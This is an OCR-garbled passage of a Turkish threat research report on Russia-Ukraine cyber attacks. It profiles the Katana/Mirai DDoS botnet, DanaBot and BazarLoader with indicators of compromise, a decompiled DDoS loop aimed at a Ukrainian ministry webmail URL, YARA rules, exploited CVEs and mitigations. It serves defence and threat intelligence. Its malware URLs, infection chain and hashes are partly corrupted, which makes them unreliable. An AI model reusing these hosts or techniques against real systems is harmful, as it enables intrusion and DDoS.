yogun sekilde giindeme geldigi gézlemlenmektedir. Bu saldirilarin haricinde yapilan DDOS saldirilarinin bityiik cogunlugu

Alinabilecek
Onlemler
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bot ag1 tabanlidir. Su ana kadar 5 farkli bot agimin (Mirai, Gafght, Ircbot, Ripprbot, moobot) saldirilarda faaliyetleri tespit
edilmistir.

15-16 Subat tarihlerinde bazi Ukrayna bankalarinin, hitkumet ve askeri web sitelerinin DDOS saldirilarinin hedefi oldugu
goriilmiistiir. Cesitli ulusal makamlardan yapilan agiklamalarda bu saldirilar Rus GRU teskilati ile iliskilendirilmistir.
Saldiriya ugrayan web adresleri saatler igerisinde tekrar kullanima agilmistir. Bu siirecte yasanan hizmet kesintisi ATM
miisterilerini ve web sayfa kullanicilarini etkilemistir. Saldirilarin toplum diizeyinde panik etkisini arttirmak amaciyla
Ukrayna halkinin telefonlarina sahte SMS iletileri génderilmistir. Ukranian Computer Emergency Response Team (CERT)
tarafindan yayinlanan rapora gore saldirilarin etkisini maksimize etmek i¢in bagka siipheli aktivitelerin de DDOS saldirilart
ve SMS mesajlariyla es zamanl gerceklestirildigi belirtilmistir. Ukrayna *.gov.ua uzantisina sahip DNS adreslerine yapilan
DDOS saldirilar1 ve Privatbank IP uzayina yonelik agda trafik yonlendirmesini sabote etme amacli BGP Hijacking
saldirilar1 bu donemde gerceklesen DDOS saldirilarina 6rnek olarak verilebilir.

Saldirilar analiz edildiginde saldirilart kaynaginin 5.182.211[.]5 C2 IP adresine sahip bir Mirai bot ag1 oldugu goriilmiistiir
(Ukrainian CERT, 360NetLab ve BadPackets, 2022). Detaylar1 Sekil 16 ve Sekil 17°de verilen iki zararli kod pargaciginin
komuta control sunucusu olarak belirtilen IP adresi ile iletisim kurdugu gézlemlenmistir.

8.1 I0OC Bilgileri

Dosya KKveTTgaAAsecNNaaaa.mips, a2bld5g2e5t8vc.elf
Isimleri

1P 5.182.211.5

Adresleri

Hash 82c426d9b88431279ab9d5d2613ae874d0c359c¢483658d01e92ccS5ac68tbebef
Degerleri | 978672b9111f0b1e529c9cf0bca824d3d3908606d0545a5ebbeb6c4726489a2ed

URL 0 hitp://5.182.211[.]15/rip.sh

Dosya adlart Mirai'nin gelistirilmis DDOS becerilerine sahip bir varyanti olan Katana adli bir bot agi ile ortiigmektedir. Bu
iligki agagida verilen Katana kaynak kodunda goriilebilmektedir.

>

Sekil 16 Katana Botnet Kaynak Kodu [19]

"/bin/busybox VGA"
"VGA: applet not found"

~2916"

".a2bld5g2e5t8vc”
Sekil 17 Katana Botmet Kaynak Kodu2 [19]

Saldirilar tam olarak amacina ulasmamis olsa da birkag metodun kombine edilmis olmasi ¢ogu DDOs saldirisina kiyasla
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bu saldirinin karmagikligini géstermektedir. Ukrayna dijital doniisiim bakan1 Mykhailo Fedorov bu saldirilarin arkasindaki
amagtan bahsederken “Bu saldirilarin benzeri daha 6nce goriilmemistir. Oncesinde iyice hazirlamlmis ve hedefi
destabilizasyona ugratmaya, iilke genelinde panik ve kaos olusturmak amaglanmistir.” ifadelerini kullanmustir.

8.2  Yara Kurallar
rule Ddos_Linux_Katana {
meta:
description = "Detects Mirai variant named Katana"
date = "2022-02-19"
license = "Apache License 2.0"
hash = "82¢426d9b8843279ab9d5d2613ae874d0c359¢483658d01e92cc5ac68f6ebef™
strings:
$ = "[http flood] fd%d started connect"
$ = "Failed to set IP_HDRINCL. Aborting"
$ = "[OVH] DDoS Started"
$ = "[vega/table] tried to access table.%d but it is locked"
$ = "Cannot send DNS flood without a domain"
condition:
all of them

}

Yapilan saldirilarin arasindan Ukrayna’li bir hilkkumet yetkilisi tarafindan ITArmyOfUkraine adinda bir sivil insiyatif
baslatilmis, diinya ve ulusal ¢apta goniilliilerin Rus adreslerine diizenlenen DDOS saldirilarina destek vermeleri istenmistir.
Insiyatif iletisimini telegram adl1 bir mesajlasma platformu araciligiyla saglamakta ve katilimeilarina DDOS saldirilarinin
nasil yapilacagina dair egitimler verilmekte ve bu saldirilarin yapilacagt Rus hedefler belirlenmektedir. Ayrica Ukrayna
taraftarlar1 oldugu diistiniilen kisi veya kisiler tarafindan ¢esitli web siteleri agilmig (https://cyber-ukraine[.]com/), bu web
sitelerini ziyaret edenlerin bilgisayarlarin1 kullanarak sitede g¢alisan bir script sayesinde sadece sekmeyi agik tutarak
Rusya’ya yapilan saldirilara destek vermeleri istenmistir.

Rusya bu saldirilarin sonucunda 1 Mart tarihinde 17.576 IP adresi ve 166 domain igeren bir liste yayinlamis, bu listedeki
adreslerin Rusya ag altyapisina yonelik DDOS saldirilarinin failleri olduklarini 6ne stirmiistiir.

iki iilke arasindaki saldirilarda ayrica ilk olarak 2018 yilinda tespit edilen DanaBot’un faaliyetleri tespit edilmistir.
DanaBot, saldirganlarin malware-as-a-service olarak kullandiklart bir platformdur. 2 Mart 2022 tarihinde bir DanaBot
saldirgani tarafindan Ukrayna savunma bakanliginin webmail sunucusuna HTTP tabanli bir DDOS saldirisi yapilmistir.

nt ddos_threlad()
o
5. dd
' t vi[3]; //
3s; [/
[2] = & H
[1] = &loc_41A@DS6;
[@] = NtCurrentTeb()->NtTib.ExceptionList;
18| __writefsdword(®, )
while ( !g_stop_flag )
12 http_get_request(L"https://post.mil.gov.ua/");
] --g_thread_count;
7 t = 0;
__writefsdword(e, [e1);
16 return t;
7(}

Sekil 18 Koda Gomiilii DDOS Hedef Adresi

8.3 10C Bilgileri

1P 5.9.224[.1217
Adresleri 23.106.122[.]14
192.236.161[.]14

Hash | b61cd7dc3af4b5b56412d62£37985e8a4e23c64b190839510bc8e264ebad700
TASNIF DISI
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Siber Glvenlik Enstitisi
Rusya-Ukrayna Siber Savas Tehdit Arastirma Raporu

Degerleri I 7Tea65c1cb2687bed2f427571e3223e425d602d043c39f690d0c3c42309aff513

URL

8.4

Tedbir

Almabilecek
Onlemler

I ockiwumgv77jgrppj4na362q4z6flsm3uno5td423jj41j2f2meqt6ad[.]Jonion

[1] Makro komut dosyalarmin devre dis1 birakilmasi
[6] Yama yonetimi

[7] Giivenlik Duvarlari

[8] Saldiri tespit veya 6nleme sistemleri (IDS / IPS)
[11] Calistirma 6nleme (Execution Prevention)

[12] Antivirus/Antimalware

[13] Kod Imzalama

[22] Denetim

[25] Monlisti devre dis1 birakilmasi

[26] Kaynak IP dogrulamas1 yapilarak spoof'lanmis paketlerin ag1 terketmesi engellenmesi
[27] UDP Flood

[28] Limit Yapilandirmalar1

[29] Kara-Beyaz Liste

[30] SYN Cookie, SYN Proxy

[31] internet Servis Saglayici

[32] DDOS Koruma Cihazlari

[33] Maksimum Oturum Say1st

[34] WEB Sunucu DOS Koruma Modiilleri
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9 BazarLoader

[lk olarak 2020°de goriilmeye baslanan Bazarloader, Windows tabanli kotii amagh yazilimdir. Bazarloader, sizdig1
sisteme arka kapi erisimi saglayarak Cobalt Strike araci ile yonetilmesini amaglamaktadir. Ryuk, Conti ve Zeppelin gibi
yiiksek profilli fidye yazilimi gruplart da dahil olmak iizere ikinci asama kot amacgli yazilimlar i¢in bir dagitim
mekanizmasi gorevi gormektedir. BazarLoader ile ele gegirilen sistemler i¢erisinde Cobalt Strike ile yanal hareket ve kesif
¢alismalar1 yapilarak fidye yazilimlarinin ag igerisinde yayilmasi amaglanabilmektedir.
Oldukc¢a yaygin kullanilan BazarLoader zararli yazilimi, sahte e-postalar, telefon tabanli saldirilar veya sahte film
sitesindeki eklentilerden sisteme bulasabilir. Bunlar disinda VLC medya ve TeamViewer gibi yaygin olarak kullanilan
uygulamalarin igerisine gomiilerek sahte indirme siteleri araciligiyla sistemlere zararli yazilimlar bulastirildigr da
gozlemlenmistir.
Telefon ile yapilan aramalara “BazarCall” ismi verilmistir. Bu yontemde email atilan kurbanlar ayni zamanda telefon ile
aranilarak mail ekinin sistemlerde ¢alistirmasini istemektedir. Sosyal miihendislik yontemleri kullanilarak ¢agri merkezi
taklidi yapilarak kurban bilgisayarlarin ele gegirilmesi saglanabilir.

H ©- v subscription_1618420095.xIsb - Excel Sign in = -_ O X
File Home Insert Page Layout Formulas Data Review View Help Q Tell me ,Q'_ Share
| SECURITY WARNING Macros have been disabled. Enable Content X
AB77 ¥ L v
A B & D E F G H | J K L M N 0O a

® NN s WN =

Excel

) Office 365

THIS DOCUMENT IS PROTECTED

Previewing is not available for protected Documents

You have to press “ENABLE EDITING” and “ENABLE CONTENT” buttons to preview this Document

Main | ® < »
BN B [ - B + 70%
Sekil 19 Zararl Excel Dosyasi[22]

BazarLoader yazilimi, kurbanlar1 kandirmak igin genellikle kilitli bir Excel sablonu gondermektedir. Bazi durumlarda
Word gibi diger Office sablonlarin da saldirilar sirasinda kullanildig: tespit edilmistir. Kilidi agmak isteyen kurbanlar
makrolari etkinlestirmeleri gerekmektedir. Makro etkinlestirildikten sonra igerisindeki mshta.exe ¢alisarak uzak sunucudan
Cobalt Strike dll dosyasi gekmektedir.

Time Dst port Host Info
2021-11-05 77.75.230.91 80 covermillsd.com GET /boolk/anTSeHhZHdokbeBs]]quG/sAsva] ipATdFg9sv2:
2021-11-05 104.215.148.63 443 microsoft.com Client Hello
2021-11-05 23.47.169.181 443 www.microsoft.com Client Hello
2021-11-05 87.120.8.112 443 Client Hello
2021-11-05 87.120.254.96 443 Client Hello
2021-11-05 87.120.254.96 443 Client Hello Aznn lnnn m
2021-11-05 74.6.231.21 443 yahoo.com Client Hello
2021-11-05 87.120.254.96 443 Client Hello
2021-11-05 74.6.143.25 443 www.yahoo.com Client Hello
2021-11-05 87.120.254.96 443 Client Hello
2021-11-05 54.239.28.85 443 amazon.com Client Hello
2021-11-05 13.226.182.163 443 WwWw.amazon. com Client Hello @
2021-11-05 87.120.254.96 443 Client Hello
2021-11-05 34.117.59.81 443 myexternalip.com Client Hello
2021-11-05 87.120.254.96 443 Client Hello
2021-11-05 54.239.28.85 443 amazon. com Client Hello
2021-11-05 13.226.182.163 443 WwWW.amazon . com Client Hello
2021-11-05 87.120.254.96 443 Client Hello
A1 _11_0K Q7 194 IEA 0O/ AN Flian+t Halla
Sekil 20 Uzak Sunucu Istegi
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“C:\Users\[username]\tru.dll” dizinine “.d1I” dosyasi indirilere rundll32 ile ¢aligtirilmaktadir. DLL, bir BazarLoader EXE
dosyasini olusturmak igin tasarlanmistir. “C:\ProgramData” veya kullanicinin “AppData\Roaming” dizini altinda exe
olusturularak sistemde Cobalt Strike arac1 yardimiyla gesitli saldir1 teknikleri kullanilabilmektedir. Son asama olarak kayit
defteri iizerinde kalicilik saglanarak sistem ele gegirilmektedir.

Kalicilik saglamak i¢in kullanilan registry yolu:

“HKCU\Software\Microsoft\Windows\CurrentVersion\Run "’

9.1 10OC Bilgileri

Dosya 130486.xlsb, 130486.dot, 130486.pgj, require-11.21.doc, C9CO.dll, FBE4.dll, new.xlsb, tru.dll,
Isimleri klbuyuink.exe

47.91.77[.]183
Adreslerl 8.209.65[.1249
8.209.92[.]1183
8.209.75[.1180
8.211.4[.]26
8.211.6[.14
8.209.67[.1183
47.91.74[.188
176.111.174[.]160
3.101.83[.1191
54.185.61[.1176
185.158.251[.]101
45.41.204[.1156
109.230.199[.]1106
194.38.20[.]12
194.76.227[.]189
193.235.207.181

Hash 9663dc275239aa93ceccedae7a0d54e10def18dd177d231264a323a4175a23d4

Degerleri  § db53f42e13d2685bd34dbc5¢79fad637¢9344e72¢210ca05504420874e98¢2a6
2632c0cc222a6d436b50a418605a7bd4£a81363ab8d93d10b831cdb28a2aclbe
f3b5cfle40aed4567a8996¢f107285907d432b4bc8cc3d0b46aac628813d82d4
la54dd6aee27d1d9ba7f7f363e137bd5134989a5b2a350d3dab0299bee6755b8
7883df070b501cf6d4£167ac030820d2fa5d90bd6f48b7feacbel7e612e0475b
e09fa5be06248ef49fae8fc387b604c95b1bb93b871b2527d344b159f5cccfbb
cee3128442b86e3dbc117fe491739¢c3a21dcd8bd813b2eec8321c59at7537081
9368192222¢18019b0b25251c6cdd1d6bd05b46b2f02721ceSa32ffce5e08959
9bb19atbb65c8abb2e2ccdbcf455b21a9a531ab56ef955{f81f2d1d12a40da76
4d1ba7¢3d9cf95d861266734c00defbb10d3aae10aac1380029976a340a9¢270

urbancinemal.]net
bravomovies|.]net
bvcinemal.]net
hxxps://18.237.242[.]195/g1_262/bt_64_g1_262
hxxp:/moisel[.]xyz/campo/n/o
hxxp://whynt[.]xyz/campo/w/w
hxxp://veso2[.]xyz/campo/t/r]
hxxp://about2[.]xyz/campo/a/al
hxxp://basket2[.]xyz/campo/u/ul
hxxp://dance4[.]xyz/campo/d8/d9
hxxp://glass3[.]xyz/campo/gl/gl3
hxxp://idea5S[.]xyz/campo/id/id8
hxxp://keep2[.]xyz/campo/jl/jl7
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9.2  Yara Kurallar
rule MAL_BazarLoader_Oct_2021_1 {
meta:
date = "2021-10-30"
hashl = "0ba7554e7d120ce355¢6995¢c6af95542499¢edec2f6012ed16b32a85175761a94"
hash2 = "2b29¢80a4829d3dc816b99606aa5Saeead3533d24137f79b5¢9a8407957¢97b10"
tlp = "white"
adversary = "-"
strings:
$s1 ={ 48 8b 44 24 60 c6 80 38 01 00 00 01 48 8b 44 24 60 c6 80 39 01 00 00 02 48 8b 44 24 60 c¢7 40 5¢ 03 00 00 00 b8
60 00 00 00 48 6b cO 00 48 8b 4c 24 60 48 03 41 68 48 89 44 24 20 48 8b 44 24 20 c¢7 00 01 00 00 00 48 8b 44 24 20 c7 40 08
02 00 00 00 48 8b 44 24 20 c7 40 0c 02 00 00 00 48 8b 44 24 20 ¢7 40 10 00 00 00 00 48 8b 44 24 20 ¢7 40 14 00 00 00 00 48
8b 44 24 20 ¢7 40 18 00 00 00 00 b8 60 00 00 00 48 6b cO 01 48 8b 4¢ 24 60 48 03 41 68 48 89 44 24 20 48 8b 44 24 20 c7 00
22 00 00 00 48 8b 44 24 20 c7 40 08 01 00 00 00 48 8b 44 24 20 c7 40 Oc 01 00 00 00 48 8b 44 24 20 c¢7 40 10 01 00 00 00 48
8b 44 2420 ¢7 40 14 01 00 00 00 48 8b 44 24 20 ¢7 40 18 01 00 00 00 b8 60 00 00 00 48 6b cO 02 48 8b 4¢ 24 60 48 03 41 68
48 89 44 24 20 48 8b 44 24 20 ¢7 00 23 00 00 00 48 8b 44 24 20 ¢7 40 08 01 00 00 00 48 8b 44 24 20 c7 40 Oc 01 00 00 00 48
8b 44 24 20 ¢7 40 10 01 00 00 00 48 8b 44 24 20 ¢7 40 14 01 00 00 00 48 8b 44 24 20 c¢7 40 18 01 }
$s2 = { 48 8b 44 24 50 48 8b 00 ¢7 40 28 10 00 00 00 48 8b 44 24 50 48 8b 00 b9 04 00 00 00 48 6b c9 00 48 8b 54 24
50 8b 92 18 01 00 00 89 54 08 2¢ 48 8b 44 24 50 48 8b 00 48 8b 4¢c 24 50 ff 10 48 8b 4¢ 24 50 e8 80 f8 ff ff 48 8b 4¢ 24 50 e8
c6 fe ff ff 48 8b 44 24 50 83 78 78 00 76 16 48 8b 44 24 50 83 78 74 00 76 Ob 48 8b 44 24 50 83 78 7¢ 00 7f 1e 48 8b 44 24
50 48 8b 00 c7 40 28 21 00 00 00 48 8b 44 24 50 48 8b 00 48 8b 4¢ 24 50 ff 10 48 8b 44 24 50 48 8b 4c 24 50 8b 40 74 Of af
41 7c 89 44 24 24 8b 44 24 24 89 44 24 34 8b 44 24 24 39 44 24 34 74 1e 48 8b 44 24 50 48 8b 00 c7 40 28 48 00 00 00 48 8b
44 24 50 48 8b 00 48 8b 4c 24 50 ff 10 48 8b 44 24 38 ¢7 40 18 00 00 00 00 48 8b 4¢ 24 50 e8 Oc fc ff ff 48 8b 4¢c 24 38 88 41
1c 48 8b 44 24 38 48 ¢7 40 20 00 00 00 00 48 8b 44 24 38 48 ¢7 40 28 00 00 00 00 48 8b 44 24 50 0f b6 40 62 85 cO 74 0d 48
8b 44 }
$s3 = { 48 8b 84 24 c0 00 00 00 8b 80 64 01 00 00 39 44 24 30 0f 8d 82 00 00 00 48 63 44 24 30 48 8b 8¢ 24 c0 00 00 00
48 8b 84 c1 68 01 00 00 48 89 44 24 58 48 8b 44 24 38 48 8b 4¢ 24 58 8b 40 10 Of af 41 Oc 48 8b 4¢ 24 58 48 63 49 04 48 8b
94 24 c0 00 00 00 48 8b 52 08 48 89 54 24 70 c6 44 24 20 00 4c 8b 44 24 58 45 8b 48 Oc 44 8b c0 48 8b 44 24 38 48 8b 54 c8
70 48 8b 8c 24 c0 00 00 00 48 8b 44 24 70 ff 50 40 48 63 4c 24 30 48 89 84 cc 80 00 00 00 e9 5c¢ ff ff ff 48 8b 44 24 38 8b 40
18 89 44 24 40 eb 0a 8b 44 24 40 ff c0 89 44 24 40 48 8b 44 24 38 8b 40 1c 39 44 24 40 0f 8d af 01 00 00 48 8b 44 24 38 8b
40 14 89 44 24 44 eb 0a 8b 44 24 44 ff cO 89 44 24 44 48 8b 84 24 c0 00 00 00 8b 80 88 01 00 00 39 44 24 44 0f 83 6e 01 00
00 c7 44 24 50 00 00 00 00 c7 44 24 30 00 00 00 00 eb Oa 8b 44 24 30 ff cO 89 44 24 30 48 8b 84 24 c0 00 00 00 8b 80 64 01
00 00 39 44 24 30 0f 8d €2 00 00 00 48 63 44 24 30 48 8b 8¢ 24 c0 00 00 00 48 8b 84 c1 68 01 00 00 48 89 44 24 58 48 8b 44
24 58 8b 4c 24 44 0Of af 48 38 8b c1 89 44 24 60 c7 44 24 48 00 00 00 00 eb Oa 8b 44 24 48 ff cO 89 44 24 48 48 8b }
condition:
uint16(0) == 0x5A4D and filesize > 200KB and all of ($s*)

}—

rule MAL_CobaltStrike_Oct_2021_1 {
meta:
description = "Detect Cobalt Strike implant"
hash1 = "f520f97e3aa065efc4b7633735530a7¢a341f3b332122921cb9257bf55147tb7"
hash2 = "7370c09d07b4695aal1¢299a9¢17007e9267¢1578ce2753259¢02a8cf27b18b6"
hash3 = "bfbc1c27a73c33e375eeeal 64dc876¢23bcalfbc0051bb48d3ed3e50df6fa0e8"
tlp = "white"
adversary = "-"
strings:
$s1 = {48 83 ec 10 4¢ 89 14 24 4¢ 89 5¢ 24 08 4d 33 db 4¢ 8d 54 24 18 4¢ 2b d0 4d 0f 42 d3 65 4¢ 8b 1c 25 10 00 00 00
4d 3b d3 2 73 17 66 41 81 e2 00 f0O 4d 8d 9b 00 O ff ff 41 ¢6 03 00 4d 3b d3 2 75 ef 4c 8b 14 24 4¢ 8b 5¢ 24 08 48 83 c4 10
f2c3 }
$s2 = {89 2224 ?7?8b 2?24 0c 89 2?24 ??8b 2?24 2?2 cl ??0d 89 ?? 24 Oc 48 8b ?? 24 10 89 ?? 24 [2] 8b ?? 24 10 }
$s3 ={ b8 10 00 00 00 48 89 45 2?8 [3] 00 48 29 c4 48 89 €0 48 8b 4d ?? 48 89 45 2?48 89 c8 €8 [3] 00 48 29 c4 48 89
e0 48 8b 4d 7?48 89 45 7?2 48 89 c8 8 [3] 00 48 29 c4 48 89 ¢(0 48 8b 4d ?? 48 89 45 7?7 48 89 c8 8 [3] 00 48 29 c4 48 89 e0
48 8b 4d 7?7 48 89 45 7?48 89 c8 e8 [3] 00 48 29 c4 48 89 €0 48 8b 4d ?? 8b 55 f8 89 11 4¢ 8b 45 ?? 4¢ 8b 4d f0 4d 89 08 4¢
8b 55 7?7 4¢ 8b 5d e8 4d 89 1a 48 8b 75 ?? 48 8b 7d €0 48 89 3e ¢7 00 ?? 00 00 00 48 8b 05 [3] 00 48 05 [2] 00 00 8b 19 4d 8b
00 4d 8b 32 48 8b Oe 48 83 ec 20 4¢ 89 12 41 89 d9 ff dO 48 83 c4 20 7?45 }
$s4 = { 48 83 ec 48 44 89 4¢ 24 44 4¢ 89 44 24 38 48 89 54 24 30 48 89 4¢ 24 28 c7 44 24 24 2?7 00 00 00 48 8b 05 [3] 00
48 05 [2] 00 00 44 8b 4c 24 44 4¢ 8b 44 24 38 48 8b 54 24 30 48 8b 4¢ 24 28 £f d0 90 48 83 c4 }
condition:
uint16(0) == 0x5A4D and filesize > 20KB and 3 of ($s*)

}—
9.3 Tedbir

[1] Makro komut dosyalarmin devre dis1 birakilmasi
[2] Spam filtreleme
[3] Oltalama saldirilarina karsi olarak galisanlara egitim verilmesi
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[4] Reklam bloklama

[7] Giivenlik Duvarlari

[8] Saldir1 tespit veya 6nleme sistemleri (IDS / IPS)
[9] Endpoint detection and response (EDR)

[10] Parola politikalar1

[11] Calistirma 6nleme (Execution Prevention)

[12] Antivirus/Antimalware

[13] Kod Imzalama

[14] Programlarm gereksiz 6zelliklerinin devre dis1 birakilmasi veya kaldirilmasi
[17] Ug noktada davranis 6nleme

[18] Ag Sizma Onleme

[20] Kullanici hesap yonetimi

[21] Kayit defteri izinlerinin sinirlanmasi

[24] Dosya ve dizin izinlerininin kisitlanmasi
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10 Tehdit Aktorlerinin Kullandig1 Kritik Zafiyetler

CVE Kodu Bashk CVSS Score

CVE-2015-2546 Win32k Bellek Tasmasi, Yetki Yiikseltme Zafiyeti 6.9

CVE-2016-3309 Kernel-mode siiriiciileri Win32k Yetki Yiikseltme Zafiyeti 7.8

CVE-2017-0101 Transaction Manager kernel-mode Windows Yetki 7.8
Yiikseltme Zafiyeti

CVE-2018-8120 Win32k Yetki Yiikseltme Zafiyeti 7.0

CVE-2018-13379 Fortinet Fortigate (FortiOS) Sistemi Dosya Sizintis1 Giivenli 9.8
Yuva Katmani (SSL) araciligiyla Ozel Olarak Hazirlanmis
Koprii Metni Aktarim Protokolii (HTTP) Kaynak Istekleri
(FG-IR-18-384) araciligiyla Sanal Ozel Ag (VPN)

CVE-2019-0543 Windows Kimlik Dogrulama Istekleri Yetki Yiikseltme
Zafiyeti 7.8

CVE-2019-0841 Windows AppX Deployment Service (AppXSVC) Yetki 7.8
Yikseltme Zafiyeti

CVE-2019-1064 Windows AppX Deployment Service (AppXSVC) Yetki 7.8
Yiikseltme Zafiyeti

CVE-2019-1069 Task Scheduler Yetki Yiikseltme Zafiyeti 7.8

CVE-2019-1129 Windows AppX Deployment Service (AppXSVC) Yetki 7.8
Yikseltme Zafiyeti

CVE-2019-1130 Windows AppX Deployment Service (AppXSVC) Yetki 7.8
Yiikseltme Zafiyeti

CVE-2019-1215 ws2ifsl.sys (Winsock) Yetki Yiikseltme Zafiyeti 7.8

CVE-2019-1253 Windows AppX Deployment Service (AppXSVC) Yetki 7.8
Yiikseltme Zafiyeti

CVE-2019-1315 Windows Hata Raporlama Yoneticisi Yetki Yiikseltme 7.8
Zafiyeti

CVE-2019-1322 Windows Kimlik Dogrulama Istekleri Yetki Yiikseltme 7.8
Zafiyeti

CVE-2019-1385 Windows AppX Deployment Service (AppXSVC) Yetki 7.8
Yiikseltme Zafiyeti

CVE-2019-1388 Windows Sertifika Diyalog Yetki Yiikseltme Zafiyeti 7.8

CVE-2019-1405 Windows UPnP Servisi Yetki Yiikseltme Zafiyeti 7.8

CVE-2019-1458 Win32k Yetki Yiikseltme Zafiyeti 7.8
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Siber Gluvenlik Enstitiist

BILGEM Rusya-Ukrayna Siber Savas Tehdit Arastirma Raporu
CVE-2019-2725 Oracle WebLogic Sunucusunda Uzaktan Kod Yiiriitme 9.8
Giivenlik A¢ig1 (Oracle Giivenlik Uyarisi Danigsmanligi —

CVE-2019-2725)
CVE-2019-7609 Kibana Coklu Giivenlik Agiklari (ESA-2019-01,ESA-2019- 10
02,ESA-2019-03)
CVE-2019-10149 Exim Uzaktan Komut Yiiriitme Giivenlik A¢i1g1 9.8
CVE-2019-11510 Pulse Connect Giivenli Coklu Giivenlik Agiklart (SA44101) 10
CVE-2019-19781 Citrix ADC ve Citrix Gateway Keyfi Kod Yiiriitme Giivenlik 9.8
Ac181 (CTX267027)
CVE-2020-0609 Windows Remote Desktop Gateway (RD Gateway) Uzaktan 9.8
Kod Calistirma Zafiyeti
CVE-2020-0638 Windows Update Notification Manager Yetki Yiikseltme 7.8
Zafiyeti
CVE-2020-0787 Windows Background Intelligent Transfer Service (BITS) 7.8
Yetki Yiikseltme Zafiyeti
CVE-2020-0688 Subat 2020 i¢in Microsoft Exchange Server Giivenlik 9.8
Giincellestirmesi
CVE-2020-0796 Windows SMBv3 Client/Server Uzaktan Kod Caligtirma 10.0
Zafiyeti
CVE-2020-1472 Netlogon Remote Protocol (MS-NRPC) Yetki Yiikseltme 10.0
Zafiyeti
CVE-2020-4006 VMware Workspace One Access Komut Ekleme Giivenlik 9.1
Ac181 (VMSA-2020-0027)
CVE-2020-5902 F5 BIG-IP ASM,LTM,APM TMUI Uzaktan Kod Yiiriitme 9.8
Giivenlik A¢1g1 (K52145254) (kimligi dogrulanmamis
kontrol)
CVE-2020-14882 Oracle WebLogic Server Coklu Giivenlik Agiklari 9.8
(CPUOCT2020)
CVE-2021-1675 Windows Print Spooler Yetki Yiikseltme Zafiyeti 8.8
CVE-2021-1732 Win32k Yetki Yiikseltme Zafiyeti 7.8
CVE-2021-21972 The vSphere Client (HTMLS5) Uzaktan Kod Calistirma 9.8
CVE-2021-21985 Zafiyeti
CVE-2021-22005 The vCenter Server Kod Calistirma Zafiyeti 9.8
CVE-2021-26855, Microsoft Exchange Server Uzaktan Kod Yiiriitme Giivenlik 9.8
CVE-2021-26857 CVE- | Acig1 (ProxyLogon)
2021-26858, CVE-
2021-27065
CVE-2021-1636 Microsoft SQL Elevation of Privilege Vulnerability 8.8
CVE-2021-32648 OctoberCMS’de Remote Code Execution 9.1
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BILGEM Rusya-Ukrayna Siber Savas Tehdit Arastirma Raporu
CVE-2021-34527 Windows Print Spooler Uzaktan Kod Calistirma Zafiyeti 8.8
CVE-2021-1879 QuickTimePluginReplacement’te Cross Site Scripting 6.1

11 Onlemler

[1] Makro komut dosyalarinin devre dis1 birakilmasi
- E-posta yoluyla iletilen Microsoft Office dosyalarini agmak i¢in ofis uygulamalar1 yerine Office Viewer
yazilimi kullanilabilir.

[2] Spam filtreleme
- Oltalama saldirilarinin son kullanicilara erisiminin engellenmesi i¢in spam filtreleme mekanizmasi
kullanilabilir.

[3] Oltalama saldirilarina karsi olarak calisanlara egitim verilmesi
- Siipheli e-postalar1 goriintiillememeleri, bu tiir e-postalarda bulunan baglantilar1 veya ekleri agmamalar1 ve
bilinmeyen web sitelerini ziyaret etmeden 6nce dikkatli olmalar1 konusunda bilgilendirmeler yapilabilir.

[4] Reklam bloklama
- Fidye yazilimlan1 siklikla reklamlar araciligiyla dagitim yapmaktadirlar. Bundan dolay1r reklamlarin
engellenmesi zararli yazilimlarin bulagma riskini azaltabilir.

[5] Olay miidahalesi plani
- Bir fidye yaziliminin sisteme bulagsmasi durumunda hangi aksiyonlarin alinacagi belirlenerek olay miidahele
plant olusturulabilir.

[6] Yama yOnetimi
- Yama yonetimi, bir isletim sistemine, yazilima, donanima veya eklentiye giincelleme uygulama siirecidir.
Bu yamalar genellikle siber tehdit aktorlerinin bilgi sistemlerine veya aglarina yetkisiz erisimlerine olanak
saglayabilecek giivenlik agiklarini giderebilir.

[7] Giivenlik Duvarlari
- Yazilimsal ve donanimsal olarak kullanilabilen giivenlik duvarlari, belirli kurallara gore trafigi denetler.
Firewall kullanimi1 ve yapilandirilmast aglar i¢in kritik 6neme sahiptir.

[8] Saldir1 tespit veya onleme sistemleri (IDS / IPS)
— IDS, kotii amagli ag trafigi algilandiginda bir uyar1 gonderirken, IPS, agdaki veya bir kullanicinin is
istasyonundaki tanimlanmis kotii amacli etkinligi engellemeye ve uyarmaya ¢alisir. Bu ¢dziimler, bilinen
kotii amagl ag etkinliginin taninmasini saglayabilir.

[9] Endpoint detection and response (EDR)
- Istemci sistemlerinde bulunan ve antiviriis korumasi, uyari, algilama, analiz ve tehdit istihbarat1 6zellikleri
saglayan yazilim veya araglardir. Bu araglar, imzalar veya giivenlik duvari kurallar ile anormal ve koti
niyetli davraniglari tespit edebilir.

[10] Parola politikalar:
- Tehdit aktorlerinin en ¢ok bagvurdugu yontemlerden bir tanesi de sozlik saldirilaridir. Kullanicilarin
karmasik ve zor parola kullanmasi, modern parola ilkelerine uymalar: sistemlerin giivenligi agcisindan 6nem
arz etmektedir.

[11] Cahistirma 6nleme (Execution Prevention)
- Sistemde bir kodun ¢alistirilmasinin uygulama kontrolii ve/veya script bloklama ile 6nlenmesi.

[12] Antivirus/Antimalware
- Stipheli dosyalarin tespiti ve izolasyonu i¢in antiviriis yazilimlari kullanilabilir.

[13] Kod imzalama
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- Dijital imza dogrulamast ile giivensiz kodlarin ¢alismasi engellenerek binary ve uygulama biitiinliigii saglanabilir.

[14] Programlarin gereksiz 6zelliklerinin devre dis1 birakilmasi veya kaldirilmasi
- Yazilimin gereksiz veya potansiyel olarak zafiyetli 6zelliklerinin (feature) kaldirilmasi veya bunlara erisimin
kisitlanmasi ile somiiriiniin niine gegilebilir.

[15] Yetkili hesap yonetimi
- System ve root dahil yetkili hesaplar ile ilgili olusturma, degistirme, kullanma siireglerinin ve izinlerinin
yonetilmesi.

[16] Boot biitiinliigii
- Bir sistemi 6n yiiklemek icin giivenli metodlar kullanilmali ve isletim sistemi ile yiikleme mekanizmalarinin
biitiinliikleri dogrulanmalidir.

[17] U¢ noktada davranis 6nleme
- Siipheli islemler, dosyalar, API call'lar1 gibi davranis desenlerinin u¢ noktada ger¢eklesmesini dnlemek igin
onlemler alinmalidir.

[18] Ag S1izma Onleme
- Sizma tespitinde imzalar kullanarak ag sinirlarinda trafik sinirlanmali veya engellenmelidir.

[19] Veri yedekleme
- Son kullanict ve kritik sunucu verilerini yedeklenmeli. Yedekleme ve depolama sistemlerinin tehlikeye
diismemesi i¢in gii¢lendirilmis olduklarindan ve kurum agindan izole olduklarindan emin olunmalidir.

[20] Kullanic1 hesap yonetimi
